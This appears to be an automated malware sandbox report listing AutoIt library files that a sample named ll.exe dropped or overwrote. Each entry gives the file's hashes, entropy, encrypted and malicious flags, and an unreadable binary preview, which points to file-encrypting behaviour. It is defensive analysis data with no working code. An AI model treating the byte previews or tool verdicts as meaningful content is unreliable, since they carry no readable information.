Preview:I-]-..@O.H2z.CYG.}v..........vmA..1.Iq+]._ v.\...!D.ey..@'.e...T=L.^.1'.h..w..].S.(tPO.....J........x..k..:.Z.........6. ...$'j|.f..j.......O.Y.....)9x.y..h..2UH.i...K.HM.-.].,...(n..Z~..-..R........y....y'd.O..T..-...&.~[....o{.........G..ZI.G.n.Zu.......,1M'.~..#3.|......(.....:...X4.p...qZ.6w.....U..gO%....,..-..M..J...L./..&.PZ....Z.....*}7d...BIQ.B-...8f.yf.X..p......yBEA.".q........K.mW...6.N.y....L...iG.Msv.1....Rz.t.@..8..,..yF9..&..*Q..b`....l.Z..K.........R.....o$:...9:.:....?....T.K...p28wB.U......,../..|P.J...utP....c&#..W...w..bD0-.DB...xp..i...../j.*[....PK......v.p..!S.....z..5%..=.?....|..1..J.u.. ...sN+Z*..0..z.....,..ZoU.._..1lg.6I......wN..a"r..U..0...AJ.P..1..z.T..\|.19S...'.vsp^6..:...JX..c_.a1e.CZ.y..1>..........{x...M..}*.$.&...]..././.+..q0..P..e......y.p..wF..H..v....o..2.n...H.@.....[..n.._0.Y<[t.1.....N+Z:.<.e..w.....C..#.K..N.!..E....j-...$.t..{n...n...~.d.^|H[..n.@...8...EE.345..F.y...O.o&.w.z.ce.R.........

C:\Program Files (x86)\AutoIt3\Include\ButtonConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4985
Entropy (8bit):7.9610220178081805
Encrypted:false
SSDEEP:
MD5:AABB37030D447FC0BAC369F64AE6B16E
SHA1:95B97D8AC58E5EA35A254A98A0D30F55CBB8AA46
SHA-256:51C0ABF2EC78E8E45AFFFD783324F425AAA3D026ED61A7EB92194D55532E49FA
SHA-512:7909E2AB0AF72CCE969A9AA842734B39488ACC4F686DD94FA87083E2B0E7FB32DB6A8FAE6A633D4648924BCF3DA1B844CC9D33742C125773A1BFB5F0B6ACFD80
Malicious:false
Preview:....TI.z...kp.O&.....}|c.....zlA.`.s..)....!N.Tz..u.Gbk.;N-...=.M.}l....x..%fFS;i!........<..~\.....uW,S{..H...I8.1..'.|.......l..D....TS..v.]<..).K...w.EEs.!n..5.t.dO..........w%R.......Tc7...Q...5Z.a..a3@#,q15.[U.v%.....s.D....aB...$...+...}..By...@.g...T...Q..=7_...0G7s..YYNW.a..P.....{........p.}..........8.....U.p...#...1K.....Z.*w.s.%..t...W]&...(....'`...K..za...B;Ge.....kR3..\<:..[%m...o..9..N..\%.%......G.....Xnv./.(r....n....q.R.!..5..V4>.....w1.^.&.T&...fX.n. .$]....}.3.B/...........M.N...|....q...?..i+G.}D.....\...r.^....;%&o.S1s...........f....g@6.KC.......6...P...#.A.Q3.u..4.#1#...!.s....p+....T.$q...&..........>X~....2A.[...^<.K=...5i.uB{.....u....#7.qR.k#AaA...I.xs..oqx,.k........r.R..o......U.K..)..CjoT......?...y.8.4.l3.9.R]..3..n.]....59n.t...s..a.7:.)..(.:7.@..&.D.P.\.%|..c.t..$..2s..(+.._....M....<.$...G....s...aa2..Ji..]......q.[T.9.........G%.R.Tf..I}...D .4..}.5.Y...w.%Fq.{....j.{.9....3.('.$.d@....(.._......8h

C:\Program Files (x86)\AutoIt3\Include\CUIAutomation2.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):48195
Entropy (8bit):7.996189777627703
Encrypted:true
SSDEEP:
MD5:16D4266FC46C1A700CC6F38C15EE4D40
SHA1:E15802280E3728F6A4325477922D0763AA0CB6C9
SHA-256:48DBDA87F2498C73856492DBC310D85EFC6EAABE2D2B2530EF3A5C74647199EE
SHA-512:9BC15D7619DD41A21F01D19AF4C961BF9942011921BFA4205E2323BD4F2F6A5853D3A8D177F7D498A08229DE92A9E7AD6966972DBF617A59D90E2E876DF6F7F7
Malicious:true
Preview:.B.G...wz...=.....y..:./.....;o#..a.xbH....gc.8....JW ...$.MY....s..:.L_..x..H...2..C.{...aF.a..)....#.......k./.8.!...?.EQ^....F^.t..cz..d.......v."+...(.......*Rh,...).k..*...Y..R.....b..\...K.*x...A.#S.......n..9.q..(.H./s]#..../-Bx<.=.....%P......f.p{-..8........o#...b.>..~..*.5.A.>.Q]U....m..pkiK.b.-`.....'.5...H....H....D>...yFj.`.;.+.....7.R).../..y....f...a....0 @.;..{.. vrPi...F.H.Y.Qs.?...w....&..gS[ ..@`.).....6@fM. ..?|j..%S..mI.|:np.7 .<1.R.o.j..!|.2 .:....bX.G....s.........;U..o;F.r.....|U.R...r.<....'...J".B....e..j/(...C..OP#...a..*...K..'#..).I../1.,.PP.P...0.p .O._N.......k...q......}.tD.....E....N[..?....w...@..?c...s)!....6.....Z...=...u....p[;K.>.C.1.../......p..$.n.......\.....u&...|..4t. .`7ZB;..@.-a6..{..G.P.qhp..6U..]..8....O.... u...b*.v.2.tBp...<..2...m{.h..X.......1....c..=j.J>{... P..m$.x...4gJ:.s......V...."...*..<.<G.p...|..?U.}..Z}.!1...A.!..r.VK..G...q\G\.....y.*....x.w..m...5.)..{.......*Z.9.Q....T:>.."

C:\Program Files (x86)\AutoIt3\Include\Clipboard.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):19516
Entropy (8bit):7.991035020006991
Encrypted:true
SSDEEP:
MD5:AF69D7331A297C817B99E7F04D40D715
SHA1:2AD99BB8725ADB7D08204B5A675C184621C6967C
SHA-256:44864A4C403B5BB794336E1717E2D22D3E61E05F5B5CCAF8E3BB1CFA7689514C
SHA-512:4F8C044AF2B281E4CB832C4825AED636938255BF372B4FFE2B14CC7A0FF847D0CB6EB19F2CA5E2A7C333664B51896DA5F12D505CB7ADA00DE2D6A79725667F08
Malicious:true
Preview:-T...s..,8.`.3...o..8.j..QDT.............F.r.........FN.._.....S.(..vT.99.H.K}..H>..dVe...l...G2.J.C..2...jG........Ugk.......{.n.C.[.h....s......g...:...I..Ak.}..W{........6....J.4h/Fq'.I.u].)5.....PHt/_m.C...r.1..e5.i....o.....\`........@.....#.M.o0l....0...Y.d.qD$......._"R...(TC.s....V.......k.cy.c_....^..(1...`p...:s.!}..2..g..@......uQ..t*=..a...._.Xx..r...~..M.....3d.!....(aJ...<..vh.|.....[n.7d.-.N..Z`.._...I...i.k...<.c'....:><i.!.v[......n..EB.^...>.y.....y8!=[.4s...}....V@....1..Hs.F9..ly...{k.~.m.9.P...E.`..P..^..t..2'.~.2..wo..pa..;8...M.u..h./[rYe......3xy...........(+..c..._.|.%G..B..o.F.#%.i!.=. .\....E.l.`wW3.^Y.....8.%....Y2n....-.O.:.cy.$^[.;......im...E.....#.....]...jQ.2.~.V........EIc....R$....".VqU.P|.......>.u..'.E..........-E..m...W..T...A...Xt\d9/f ...XDv.58..`.b.,._.......@...o."W.'S#$.A....s.. ......c...u....f...H.)rr..c(..$...l.P>F.E.M..F+...........ruq.mU.b+..*K..as....KN....VOQ.........{...t......p..h<.

C:\Program Files (x86)\AutoIt3\Include\Color.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):10492
Entropy (8bit):7.985825193445841
Encrypted:false
SSDEEP:
MD5:BF265AEF14EFDBD4D44DB565A7CB95D0
SHA1:6D2458B6424A3F1B7EC511719A52D4969BC1A153
SHA-256:5C97E1D999AA31E02B5C54CEDD071AB832D3EE7F175F67B25A0C44563FB66B82
SHA-512:71268F7EB12CEF67A21D0A0692283F0E59DC71C3329F5E4E2DEC2F151CE6A39097859A2368265272C14E59914EF48FA441C7048A7C91B60FFCF32194B820EDA8
Malicious:false
Preview:.-5".%>>^(.#...X.....HD.)6`e..3VP..[.....U+.59....l:'...U(x.TFG.5.._.... ..=..=S'.q:.H....o].53.\.6....H6&........Js.....V...m}.......j.......?dO.$...$.H.....j.~.....eV...j.:<h..r0.._..:.*..O...../p..g.C.x.`.1~..n....|.e.PO`..DS|9I..9.a.p.3..O5HU=.4.....OzX..i.......G....b&.:LC*.G.fk.....'R..g.W..A7.m....%P..m.k.j.Lj...,~.~O.......&.T.y.....<.~).y......yX..zL...k;.P.M.jf\.K2HzT..O......9.*....$.,.":E.S...3.67~8.uB..9].S/E.X..._..'Q.:l.Q....m.5......yez.'I..9[.a.r.L.4(~..s.vw..<....(..o..1...`.B%.s%.......%...........)..FE.~.....Y.)...G_.J.....c.WT.Qx.dGV6.%7.M4..p.nd........E?p.SS...f.dO....!.z.J..h.pE...8D.?>w.{.W{.....p"[. ,..C......Y..'.3.....F4|.O..iWm..)..<}....e=.<...y....Er.....i.=.s..E......6.."...4X.2.-...=.f.:....o6A..u.+&.\...HK...)k.\..5.4[.....K{.(.V.m.j].T..!.Hh......1v....|..=.t6F.u6.i....^.G.K.O.PNmz...a.O..C..w.......5....1T.Z.&.`c(E......=.....K=mz.3.......V..3...1....$.2..8.q....t.ar6.....L......=.p@=.....R..A=

C:\Program Files (x86)\AutoIt3\Include\ColorConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3139
Entropy (8bit):7.931327078920157
Encrypted:false
SSDEEP:
MD5:2509038F49C131053400A7DDA2197103
SHA1:EC1A5B37B100ED382F9B0C58AAFCC5BC26ABB2A2
SHA-256:8E16561437D54FFEC8FFD5024DD1921960BF53F37E62CAC06F960F5F6A0D5ABB
SHA-512:696BE69637581EBB299BEED923BEF47A891FAC0029CF2BF10C7C787B6FF72271431F6C065636A1CC02C139AC484459508541813671771E9D7C409C0680830791
Malicious:false
Preview:8B.@...).%.y.d....9....?f..x .t._/.......bkd.D@..?Q.f..8...$ks..(..Q.&.+mW..f..A....)....].......'.H..,.R.t..8...W.'..i........s.hU.k}7.3..q.&P...b4...S.G<r.X.S.B>...FqY.+.8h..).[.j#.z/LJ...^c.".c..0|T.......(...PS..i.........N...P.7..2mn...;...*..i.*..(7.....x.o.-..E..T..`%...0E%..n}F..._L...r.R........$m.t8..v.a..@.x9.+.M.T.qb.......#...1=fh(._...9"Fn.^....4....c.3.-M.'.z.U.. .;.O.'.6..-.&'.}\C.H..K.F...=.W...Z..SX.'.L.&..C.V.A..Oa?.M....x...{.sgS.....%V..|-5...qHrwW...0Jo.a.'..(-Y..z.k.,...R.i.7.....Y.g..\.....O%.9.2.r...@Jq{..x..U.......N-g...w..<.v...hs.. ......=..MU.....K.<.V.v.....@A......8j{u...C...9@p....HV .:o..b....~. I..*..l..R......C.M .....D K..X.^uY..6}Oz[..O..`..#..u.../m..6..K.>H..P........>.S'.w6.c.*.C.v.....I.XN.L.....z.~].o\.d8E.{O..^ZC...l...)<.d...n[.ZH.0u.A.,.._.E.!..$.4V....5#%4.Gb.t.7.a.....E........Y.C<...v.S ...B.ai..~..fc,w....7.....H..c..%.B/Q.F...:.6.4r..d...K..^..;.`.>u>j..~U...Rv.:.xR...M-v3 _....f.$U.".....Zv

C:\Program Files (x86)\AutoIt3\Include\ComboConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):8305
Entropy (8bit):7.976751623260107
Encrypted:false
SSDEEP:
MD5:CAF14C5D95EDFC053FBEC38E52B78E09
SHA1:E9F20FD5C8AB770944ED9D62C03032E0ED42B2A5
SHA-256:14FF6A69BE5C7263F3682A145B8E3B159CE1FA0F15E4D634A6BB68891D193C43
SHA-512:43293B7FA87884A3F66460244218EA9C65967A97C58AE8F18A72B01E2D49B808C9CE663AD89A280CBB3CEB7B311547279A406E1981F32CDCA8556D876C4C3D6F
Malicious:false
Preview:........A.<..'..v}V.mB...A..\.X<...G.bd....s...g^T[.9l&.|.L\..4..I.D..:..{FE..a..B.4<.6T[X......,.K\........X>..............C~...^c.|.j.&$..=.v&7.......a.O)......V.[.....|.bS..k.BP....\....g./....F|.u.3..p..e...2..`Z.....j1.s..e;.[f.1.&;.#...G.....z%L.....F.S.Sl....'.!. .UQw....X.... ........w.+..ff...9..iP..cv.(.&.....2.j..p.q.....f4W.Hm...F..#.1....:.U..Nf..Fc*e..2.R.6........jL...*..o....Nj7.4...S...5Ul4..._..K. ...0M..?........>.U.]Q..9.......<@.........&........#....3 ...Y..D..._...................Mk;..q.q..pUJ..c...`P.........f.{.sV..NT.x...CH.....Q.{..2.w....27z.@..I.P%%t..)...r..c..T\...:f.....?.%,.{(D3'c@S...(.N.La|+.kf&.tug...>...5...{.}#.|..$X.W..R......3f.0M..QM~S".z.q...4^!.KDj.X}....7..I....r)SD..b!.|.. w..C.I.B.>@n(<.T..;...-8.D.%.....Bw..2..<.T.<[lK1..T?'....Kky...&.. ^...+.........Q8..I..Cw...".'....j.... .v%VN..akL....+e3.8*..-.....o,...i...F......*.......D...Fx..^..RW..GZ..".zx..n......H..B0[.|...

C:\Program Files (x86)\AutoIt3\Include\Constants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4767
Entropy (8bit):7.957908728523676
Encrypted:false
SSDEEP:
MD5:DA010DFB4758B6E8A1A3D24ABFAB81FE
SHA1:87923AF8D0874B2EBBFCBDC87E0CF51A311DAA14
SHA-256:2372C145F379570528FDA33501EDE15710F1D12267F1F9D777706F57922501A2
SHA-512:9477D71925B2BF42D093F4E433F6FF7DD2C86839E1002BCBDC893D02638124F1390606FD6BEEBF6748F6F4E8B7D50007CF3383479FE3106228E0EEFFACFF7D47
Malicious:false
Preview:.r..V.'p*..U...t('{.......5u...H.Ex...y.j..e..>..V(.......9.!..wNP1U.G_L.~"...n[.R...$.f...~N.../L..U.y.......Tv.U..z.7..@..v.+.]E~..hDW.......^u..R....e......z..X>A.!....Z..e..`.1..x...`...1T .X.;.!.k~|>..h...gZ.V.(......M8(b^....[.E.U=o.Z]u.OX.KM"..T(W.&......V.........v..38.H..TDC.<.+..lr..9.s..?B.T..K....."f.l....>.G.k............;p....$.n^]iO..F.....g..|.gf..s.%a.........z..dH.4...o....;Ftl.}i..r+.. ...W{8G..BJ@N.|..<C...X ....B....=..Z..B|v4.%>..|.s`.(x..".(..%fs.]..g.{.5.$.B \!.].[d._.."...pX.IOI.....%..p<./.`/..C...E...c%./..#.K8.?......K..Si.3....U>.UD.t.P%.......y9.n...M.Gk..M..7..u.i.Y.EO....h-...y.;.&n..Y..}..(.Rb):N......R........NT..1.......7.....D.'.....r4R...i.c.aJ...M.E.....kC..&J....!.-...,...~Lg..6E.G...C+.h.............e..........a..n.DN@_6.!....N....n.4....G..t^.?W...<w.6.4.._...*k.V..m....3..O..n....f.HsZH+.."7.Z...a.)z.By.-1.s..9\.gJ../|.0.J.8y...\....B.0..4..-=.?..b..61.r'.........\JF...X.XS...._..W.

C:\Program Files (x86)\AutoIt3\Include\Crypt.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):27829
Entropy (8bit):7.9929119363444165
Encrypted:true
SSDEEP:
MD5:CB17935A74776F12B7F90A3A69F5955E
SHA1:EAE90B19F4FF8E1328A4E033E5B68DE315D67B4D
SHA-256:7BB9C7A56FF977A2E846C29C9642C4E6EE985AC4E85A1AB0397CA9C949A41EBD
SHA-512:2689013AE904BCF34D60A8CAA133826E94A74D2FEF33AAB1649AC7566984C7DAE7FAEEF0CE76A91867C22BE1CE0951D0EB352268317DE42F4F2FE494760E25BE
Malicious:true
Preview:.P..nNr..=w...?.y.....{9$..j;..cr..\...... ....C..Bj...xv{..d&..z.C....+..-H.`m.iA.\B.....r.....9.<..?v.9...."L...r..m.p6..;.8<Dc?...P.C......>.....V.........K.../.z.Qh....M.v}1.#......q9 -a..EL}Z..o..t_..Dqi-.J..~2.Kr...UY......oC...0Y.J..+s:....A..j....8P.k[J....J..rnGOk...a.D..f.Lq..2.5..........Af..4.Su6...).gKAQ:.0..b.5F..0..+"....-.I.o..q.....v..gi%...h.?@QF.h..`w...}pt7w.y8..G..v....-.....?..nU...b....ox...4.u..s.?.W......b.."<..E.....a..@I?.9......3..=L6c.".d....oJ.A\..../...._0&..g.......r..!5.OH.).X...'nIr.fy..O.dU.S.,0!....nW%e.3...z.......6.w..,..u=....;S..8.7..A.%p.6.....P.q..{.'.1.%A:4g...:^).J?..:.].$..O.,.>G.....T..U....]...=....]t.XTQ/..jO2...@.T..9...kp...X.y.hx":.g..tz..+...........i.'i6...S...|`....{..35.{2...t.f....v..H.....5.,...x.....*OI.B....5.w..614........Z..........w.}x..j6...][.I..%..X.*..<...5.K.x...$.r...S..%.{[......k,V9>./....Ch..#.=...h.$..h.@..Z..=d`...@;.0%.*hP6.k. .a....&....s............6..9.[

C:\Program Files (x86)\AutoIt3\Include\Date.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):83418
Entropy (8bit):7.99781998687549
Encrypted:true
SSDEEP:
MD5:B4D802BF5AA55A0758CCD1FA2A1176A9
SHA1:782A4B038A28F8D1280F0ED0F2617EF0D024A93D
SHA-256:2DA7AD230C7127FF58228145EC414C423EA00E8BA8E2E103361F46D6EA8471BA
SHA-512:8D78939B1147DAE8875E5149F27B88FF007D433AA327DE6CA1F9A8104F645C657C80BC43D69A10CBFE585DBABADAC5575138306EE1DD85B2FA42187A853FA795
Malicious:true
Preview:+?IF..1o.:...0.....J....G.-".^]N...2t.TR..r..(.Hnz..-S.....\.^.>....o.G......XS.c..wA.<......kw..&,...0..d.[2@...>.=V...I..Mp...H..B(+K.g.........%.....`#t..I..U.;...@,..z.e2.............fo-4X.`2y<......h.[.%,...X_.).U...xb.9E.{.X.z:.....K.dxO.L.#....N..6.O.P}./aJt...1b.d.7..NU.....Z.P...Cnm@..7..zW...t.z...;.H.i...0<..l...$!.....kD.bba9....+...gk.<..,C..sX]..XZ..-..1....-ep.v....'?.W.....z.h.Y.........>...z......M.n.,.A...C=.]......hB..v.}.h|.<@,.wU.HO.qn).{R......OS1.....y...... .'G....B........^.....K<.^(..7....o.Re........%u.,..F..R..E.Ex<c{..,.~...B~.?..P...._^..!!..JA....`DW.QP......0...rf.0:.w)..g#...o.....sp..*;.M....v...........#e.|~..K@@..3.1-;.h.......x....{.+..T..A...v8j. .....w.-~kK...U.wQ.O.P.1....;(.dN7....K9=.........W..#.......Qu...34$..-.X.ZA.........9....|TR...!"..8..."..?5.+...D.u...J.......,..........t.4W&2...L..N....].F...M..|.f....l...OQ..c!.F.)a......M.p....i......g..P......q.4Q..O%X..&...>...s.).0...

C:\Program Files (x86)\AutoIt3\Include\DateTimeConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7588
Entropy (8bit):7.974752606040918
Encrypted:false
SSDEEP:
MD5:98F9DFED674A3D7572CAE61C48AB3361
SHA1:C6247A53175BC5075DDF339379E003945CB008C0
SHA-256:231A2107F6E5FBBAFCF6535FDAE37343F43E9496770D1EC0F2ECAF0BD4097B87
SHA-512:1FB5A6B7AD2939292D234071C04B129D058093B4F996F44AAA6D2740A78DF1C613B44A775313181046F8BA3BD32785E869486AF557E2EE46FBF8235DFFF3D47B
Malicious:false
Preview:.AVQ.q...a........uS......d..f.v...F.....$.U{.k.>..k.3y."\.....?._W..P....A...6.).@*.+)i.@.3v........5....D..YJ.......e.l...g.G.l.f+{s..t.A.r..j.F.A_.Dd.\....S'e....D!.We.*T....K....Z..y....B.WW....k..c.>....d..$.*n...0.{....^.C![."_/^!^q..]f..0\#.........db..Gc..d.....,..."#..(Uz..0D......`....s-.!..2&......Ps8\W8. .).7.J...Zk...7........P....~/.%.44.*OB.oFr.a.....i.k)`.IO.a.......C3|>r..b.V..^.9zd..{L.d.vxl.......oP.h....V....E<............{....J...rw...x5.g.F..-....L.Q.^@,r.iY.oh_.j.......p...J.Y.x.JSR.5..q....C."4t.v.1cH.......j;wpwTKH..V.......Psf9.Q......`...n..8g._x$.C.y.^TPlk......=.S...+...H4.!.A.}...a2v..=d...C..0.Ox........QU.^.&R%.{.(!.......%...........TQCe` .g.G.{".dM#:A.f..VS...s.oA.It.."..fcz<...Tz......@..%.G.b.*.K.(.%....%o..F...$.nc.AhnNj..6.....c...a..#^E>.....oX...w.E......<.....C.........f....a:.BY....^#Z..i.g.R.CD_b8.i.]$.#.....YG..s....q..;f].J..k}7...*..y.$.^..!.`Av..b...?.r-...w.....6.r....R.A..h...r.....0.*.V,...4k$G..P.s

C:\Program Files (x86)\AutoIt3\Include\Debug.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):27420
Entropy (8bit):7.9929284196029275
Encrypted:true
SSDEEP:
MD5:17D38F84EE210FE069401954B72A68AF
SHA1:920E18B6D23321664214D3B251058954BFDAAB12
SHA-256:821DFB42B9BA94029645D921680CB78D5D469039EA252AC643A75414D959189A
SHA-512:C18E9F76074562BB649CA149EBADB85B1A7D0FF204ADC5D1DFC740D0007D273BC9D978419FDB173756095AB7CC6D88F93542960B4E6948A8F938BF5EEEF263E8
Malicious:true
Preview:0].X..uAG.o...@.NJ.....i...c)..P.|.qJ....~]......%a..tuxw.Ka2.Hf.....NN?.........T.c.......v=..BRs..W....n..q.{S_H.#....}.;+"....z..g9A.F..J.N.9...A..~r.Pt.$DH2..h.......!Y...^x.`...&.HJ[x.b.....u...h.V.-........u.M.`*t@....Z.Wv.n..L.C#..CTFEM....H...XA..a...o.......jL....tC>.H=jL...s.}X)C.......$(@.V].T.&.ps..:x.V...6....1...-.l........2c.R.L....{a....).}.j.^.!b.J....u_..#..Q.Q....n_M8..5..(.oz...8.....K..B.....L3v.j..!.&.....A.Q......2.6..1p..y.L..J.....,.<.....p.5..T.....,zQR.D2.......~w.......I.x...(^...._.z........ ....M6D\C..ck..,...9.....q..~O...|GpO4.aK".T.X7.Y...{/.>.!...U.\q..4..d.A.n..dd.......dFY..J.G 6.M....".~..0.Zr9.M_.yMV....6.....l.4..}po.A..$p.s..^..QJi.Q....Y..^....GNi...Py.3y......p...:.w.}..Q..yV..x.......X..C.#....H.:.|.&.v....Oz.R..T...... 17..R..c..v.w..*.%.H#.e.h<..O.Ug...#.N,...#.*.1....o....&..J_.Y,...(o..]B..i ..l.?.l....a.A.o.6O.....uY.zVC...b.v................=...P.1.p..SNwp..[.Y.P.&=.Y..l..?.,g....e./".1

C:\Program Files (x86)\AutoIt3\Include\DirConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1629
Entropy (8bit):7.866493904619463
Encrypted:false
SSDEEP:
MD5:508A14DF7C438BCA94114C955A9049C0
SHA1:4A4C96D9B791D6236296B036E015C400DEAAF682
SHA-256:E0B32E41744481AF81CB3BF11A085BB7DF1B1E5273CE2152C60392F4D8C6C4E5
SHA-512:C8B5291899A7BC22EDFBEDD8857C9CD5DAFB43461780BDF490071AA533EA0B3351847B9E097569588591CB64DF9073D748F8593018EA030F0575CD43B6009B56
Malicious:false
Preview:B.Y@...2...e..|+.v..8.1+.e.s....9vw.w........<p~A...<...........ii...^c._..N6$u.#y.*...L... .....2...?.b...E.xW..../TNu.f....<Gu.w.....f....;..~.y,B;.e....&O..;V....(.....j...Ea...\#.g......|...E..2*A.3.:nsn&..A'...Q....kQqP.........goOW....sf....*.=?S......h6.....&*?g...........#x...Lt.C.3.....A.<..;+ .5.....2........4.W..:..7Z,D........I....iG.W.+.....C...->...;....b..._ Fy..|..........n@..{]. "K.bN..M.[......Q.8..L.8.l.n.1'..E...C3....*{.Q..@.L...".7...4...1..p....k..?b.Na....CDXJ2...b[.D..?.tfb.xh.%./....e..G.Q......\.......$..wblr!.!..3Z..L..E.'aU3.Q.0.;..].q.Y.....F... ...5...?..1.M5.IhM.....mq.4;.X...W...Mc..^8b.D-.uU..f.'..n..^1...s.)..~..-..DC.r.P99l.=.....t.G.).y..8..C..n...h.R=...yC.=...#..Q......e{...&....x..lT.....$j.c.X..0r-....@oN^....<.T.....q/...\."..9.....d..U..U.....:-.Jik...tS...i.....9....d.ARo.+...$.u..".x.r...ejX.....Q8@D..f}.5<.&..u./.,..5.....U...Saj.Ff.....g..#..Go..vq.....l...h...^Xr...R.;.!......=.7mD<F....

C:\Program Files (x86)\AutoIt3\Include\EditConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5368
Entropy (8bit):7.9662508152440115
Encrypted:false
SSDEEP:
MD5:E196A56F6C84E931820BF6B0EEBABC37
SHA1:ADD1C54C022F6B83FA47A095A5D9AF5D0ADA92D5
SHA-256:B9ADC098EFB0D2516DC3C0401FED3FD2CDCEFB056D865964C19C00DE4EBEC032
SHA-512:35DA1A703BC1A976B93C2BA316D6A5FBC90849839BCEDD44D43FADC00E075341433C996E2F38585CC3E4F6B9A5C5D4DFACF2F2B2E187796834F50BB4409CF418
Malicious:false
Preview:h.n'.n.2wj.3....}M<9....4.8J..HxYR'.%....u.w...}..P..<g.^|R..p.`..,.Y.8.}+<.W.4^J.[I..#"vNs*.P.f..R...`k...&.?U+...3L..hG+..S~...Zq....p.O.B......>2....Su...g..G.......o..,.....b|...^>.M!.1.....z.kL6...F..0.@........6F.....<.UI...<.@.....!...q..3..Q3...9..X5^.X...[.XW@...,..46.N.jbl.<.#y..=kG2z.^j.X..en...B..................>...F}...y...O....c..*9...U....j..|.......hv.&]~1.......\.p......1.............&..7.L.I.x.|..E..Sc:*...~P{.,....I._..O&v....&x{......VLSm..'y5....5$...T.h....J.x..x@.8b...z(wg..X..X..S6S..j..<.....~2;.[G..l....l".G\AH..v...1=..\..F...)lI(<uW.....d..*..VY...?.>4&....gS^4`.... ......U<J$...?.$Z......v%cD...:NUM..f...J...3(...#...1.RC.....E.....\<....wq....y.j.0..z.J[U............F.\..f~...bX#S..;..2%..~....M....Ton.S...@.a>.YO.*..E,.[.:......p...E.....]&z....sl ....0B=..R......<.jLM$n2L.$.A.{......}.1.!.....16.mV.0.)...)..........m..M.k.b.'............)...v..u%^.....:4.KY.....A..=.......H...b.sw-.T.D..5..r(3....y..:.k..

C:\Program Files (x86)\AutoIt3\Include\EventLog.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):32262
Entropy (8bit):7.993781561359526
Encrypted:true
SSDEEP:
MD5:CE1D8BE6CA5F807126C306EAD0FC573F
SHA1:2739AF1071FC9AED8FF496B7887340CB88EE7032
SHA-256:F90AD2DEF0F9E24DE39389AC2517F253B5C473CF705306B6373C9D57F0C3B819
SHA-512:133FEA65837730F6B92C721B9118FEC321C3AE66E9F0E25795F8688BA810FFF5B8FE94FC8F1AB36313D21F051A46D4ABEFDB90437FEBAA917F4DF71D040471B8
Malicious:true
Preview:.<[.*hl.*.$...GA.|]D.K.E(y..i!W.B..q9............ANM.i.1l.}#@......!7S.e.U.7./_.\..3..`.....oF.u;D..J..mA`.t"....j..7] ....W_..J.4..&..e....Z.x.\.F.....(.Z..F.{..&v...qGFs.OY...h..U.?....A...f.$-S...Z.....!.vpy..K...L.".5XY.........=3..V.}&.|.T...t.x~J..).&....#A.AwK8K...N..{p....].|....{Zk....G....(.I....M.&...1.I:...G.v..'.*bl.F...m)F..DZ....O"j.^KXm ....&.P...(..."p..M....P!.......e...;..KO..G.J.`..dy+.._.c.......i>...v..0M..b..=..g....@&h{&.....\.nG.R.-5x.!.H.L2: ......t.5.......1.k#.`........\.....5..z.O.>.j..W.[N.d..b.O....({E..FD.\.4...)....*W..`.3.U. .m.P.E......o.3.D....U8(...Qom~....\b_...1..).......:px.YC..9&zI....*.]O..c....v.9v.MP..lN)..?..}........|...V.F).Mi........d~QKq=W...b.X....[..=n... ???.m....p;..<$...q.C..Y.NP.wR......{'j..Q...=$...(\.......D..+y..o....^4%.C......g.W..p....].O{].B0.^...L.N.l..,.f.8....>i~).... ...}4..`K...;..{.#..v.*.....U.4.mr...LR.....;P...N.$...,vi.u5..G=..j:...X..B{........K...I

C:\Program Files (x86)\AutoIt3\Include\Excel.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):58154
Entropy (8bit):7.996984768800788
Encrypted:true
SSDEEP:
MD5:FF8CD72EC0079E8E00F256DF82A1A3F2
SHA1:0714B3BB920D3A09533D872A0E85E0FFF6030402
SHA-256:6A2F8D6462E8C9DD3C32F9C20728BDD481ADA5112EEF7CDB17139559890B791B
SHA-512:DA0D5CC421BAC21B6F35BFB6F398C8493689A7732A36B915D91CD699D7D77B8B28EF334F781F684E26979FF22F21FDDD85F7079A95EF4B5856995EA7C24BE33C
Malicious:true
Preview:..m..fgx.......D..8W..C2.2]7.........W..?.h....)..v..Q.............z`..D. ..t....A.2...^~....S....Sb .....x.....8......i......`..u.Xw...f.1/.eq...*...<.AQ..(..Y..;G...G...Gx..u..~..(.....8A...4....+D.>/g.I...Y.u4L.....5....7+.b(.BU..Xq.b....M.[uc.;..a.......4+....S.......f...D.z.jp...&....a.M...M.1...7T...."O5.[ ...;.[...._u.".fp......oV.wh.%....F..bF..XR........E'.n~...N....'...kV..w..s..c..K...Zh..tl../.....e..M.l...X..!V.m.;8>.l$.?.].Bk@NY.l.-...).........m!.z.....3/...i..L".Q..@.&..5..dL+..8E...6..Wo..Z.X..AO.gv.B....2.P..Eg.!ls..n/...c...t_\...TC..z.ng>.+.G.ae...........O....v...{\...f.GHs.h.G.Ux.*..U....6.bQ]y...O....U..;(w....."..ZE.T...!.|q....z.=Q2.0.....@..:et..#.{.........Y.g.P.......-.4..."..x..E.C6.f{o........D1....Iy..}.7.&.J...C.>.!. ;nYc&.-Z'..2.kky..9.w."....0...[n.9..5.]D..2;.....z.....~{=.B. .l.s.2n..`...vI.Fg.!..|......X..)s...e..c.-....."...3..].hOa.M.ur........b.7\h..z.k...XU....x<..&z....s.............c..* ...n.

